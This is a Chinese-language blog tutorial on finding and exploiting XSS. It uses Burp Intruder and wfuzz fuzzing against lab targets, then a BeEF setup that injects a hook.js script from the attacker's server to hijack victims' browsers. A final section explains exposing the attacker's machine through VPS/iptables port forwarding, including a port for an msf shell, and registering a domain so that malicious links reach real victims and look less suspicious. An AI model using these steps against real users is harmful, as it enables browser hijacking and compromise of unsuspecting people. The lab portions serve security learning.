xss发现到利用

前言

xss的介绍就不多说了,搜索一下一大堆值得详细研究,有本书讲的挺透彻《XSS跨站脚本攻击剖析与防御》。如果你对前端的代码不是很了解或者不是太熟悉,那么使用自动化的工具进行模糊测试,是你不错的选择,burpsuite和wfuzz是你不错的选择,也包括一些漏扫工具。

环境:

攻击机:kali linux     靶机:owaspbwa

资源: 你可以在这里找到Intruder Payloadshttps://github.com/1N3/IntruderPayloads

如果你想找到更多的资源根据自己的需求进行google搜索或DuckDuckGo

0x001 

使用burpsuite抓到包 

POST /bWAPP/xss_post.php HTTP/1.1
#省略。。。。。

firstname=s&lastname=s&form=submit

我们使用Intruder这个模块 鼠标右键选择Intruder  现在在选项卡中Positions  clear 清理只在第一个表单产数中添加add§

firstname=§s§&lastname=s&form=submit

现在我们看到一些选项卡使用payloads  我使用的kaliLinux中自带字典 Load 选择文件后开始start attack

Payload:	<script>alert("WXSS")</script>
Status:	200    #在进行目录爆破的时候 可根据服务器响应状态码来查看是否成功
Length:	11851  #另一种情况是根据 长度来判断,越大的数字代表是成功
Timer:	37

以上不只是对xxs进行检测还可以对目录sql等等检查 同理。非常尴尬的一点没办法放图片,我的系统没办法截图

0x002

使用wfuzz检测还可以检测sql注入等等

帮助文档:

wfuzz -h

Usage:	wfuzz [options] -z payload,params <url>

	FUZZ, ..., FUZnZ  wherever you put these keywords wfuzz will replace them with the values of the specified payload.
	FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.


Options:
	-h                        : This help
	--help                    : Advanced help
	--version                 : Wfuzz version details
	-e <type>                 : List of available encoders/payloads/iterators/printers/scripts
	
	-c                        : Output with colors
	-v                        : Verbose information.
	--interact                : (beta) If selected,all key presses are captured. This allows you to interact with the program.
	
	-p addr                   : Use Proxy in format ip:port:type. Repeat option for using various proxies.
	                            Where type could be SOCKS4,SOCKS5 or HTTP if omitted.
	
	-t N                      : Specify the number of concurrent connections (10 default)
	-s N                      : Specify time delay between requests (0 default)
	-R depth                  : Recursive path discovery being depth the maximum recursion level.
	-L, --follow              : Follow HTTP redirections
	
	-u url                    : Specify a URL for the request.
	-z payload                : Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder.
	                            A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.
	                            Encoders category can be used. ie. url
	                            Use help as a payload to show payload plugin's details (you can filter using --slice)
	-w wordlist               : Specify a wordlist file (alias for -z file,wordlist).
	-V alltype                : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
	-X method                 : Specify an HTTP method for the request, ie. HEAD or FUZZ
	
	-b cookie                 : Specify a cookie for the requests
	-d postdata               : Use post data (ex: "id=FUZZ&catalogue=1")
	-H header                 : Use header (ex:"Cookie:id=1312321&user=FUZZ")
	--basic/ntlm/digest auth  : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
	
	--hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
	--sc/sl/sw/sh N[,N]+      : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
	--ss/hs regex             : Show/Hide responses with the specified regex within the content

使用OWASP Mutillidae II 来进行测试

wfuzz -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt http://192.168.1.104/mutillidae/index.php?page=FUZZ

#根据状态来查看

0x003

使用beef来进行浏览器劫持

需要存储型XSS比如个人资料或留言板等等都是很好的利用点

启动beef

cd /usr/share/beef-xss/
/usr/share/beef-xss# ./beef 

控制面板

http://IP:3000/ui/panel

构造index.html页面

#cat /var/www/html/index.html
<html>
	<head>
		<title>hello</title>
		<script src="http://127.0.0.1:3000/hook.js" type="text/javascript"></script>
	</head>
	<body>
			<center><h1>hello</h1></center>
	</body>
</html>

启动apache2

service apache2 start

使用bwapp 中的HTML Injection - Reflected (GET)

<a href=http://IP/>hello</a> #另一只是直接吧beef http://127.0.0.1:3000/hook.js 直接扔进去

0x004

如果你的kali linux 没用公网IP的情况下是很蛋疼的,就需要进行端口的映射了,把你内网的机器中的80端口映射出去就可以让其他受害者访问了。

在VPS 上搭建OpenVPN 使用iptables 做转发

#服务端
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 10.8.0.6:80
iptables -t nat -A POSTROUTING -d 10.8.0.6 -p tcp --dport 4444 -j SNAT --to 10.8.0.1
#客户端 此转发用户shell交互 msf
iptables -t nat -A PREROUTING -s 10.8.0.1 -p tcp -m tcp --dport 4444 -j DNAT --to-destination 10.8.0.6:80
iptables -t nat -A POSTROUTING -j MASQUERADE

这样以来你的内外机器端口就可以映射出去了,要是别人看到一个URL:http://192.0.0.1/ 的地址很容易就发现了。

你需要注册一个域名 免费的域名就是结尾不太好看不花钱的总不好是吧https://my.freenom.com/clientarea.php

总结

以上内容都是十分基础的知识,大牛请多多批评指教。自从学习了这些东西,别人发的URL在也不敢点了。中招无所不在,网络一线牵,且点且珍惜吧。关于kali linux物理机,如果你的kali linux是物理机要作好极好的防御,不然是十分危险的,它很强大如果你的kali linux被他人控制后果将不敢想象。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值